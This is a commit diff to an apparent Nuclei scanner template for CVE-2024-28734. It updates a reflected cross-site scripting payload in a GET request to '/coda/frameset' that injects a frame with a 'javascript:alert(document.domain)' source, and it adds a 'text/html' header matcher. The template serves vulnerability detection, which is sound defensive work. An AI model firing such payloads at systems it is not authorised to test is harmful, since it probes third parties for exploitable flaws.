update payload & matchers

2024-04-06 17:37:36 +05:30 · 2024-04-06 17:37:36 +05:30 · 5b6568519d
parent bedef14224
commit 5b6568519d
1 changed files with 6 additions and 1 deletions
--- a/http/cves/2024/CVE-2024-28734.yaml
+++ b/http/cves/2024/CVE-2024-28734.yaml
@ -21,7 +21,7 @@ info:
 http:
  - raw:
      - |
-        GET /coda/frameset?cols="><frame+src="javascript:alert('document.domain')"> HTTP/1.1
+        GET /coda/frameset?cols="><frame%20src="javascript:alert(document.domain)"> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
@ -31,6 +31,11 @@ http:
        words:
          - '<frameset cols=""><frame src="javascript:alert(document.domain)">'

+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
      - type: status
        status:
          - 200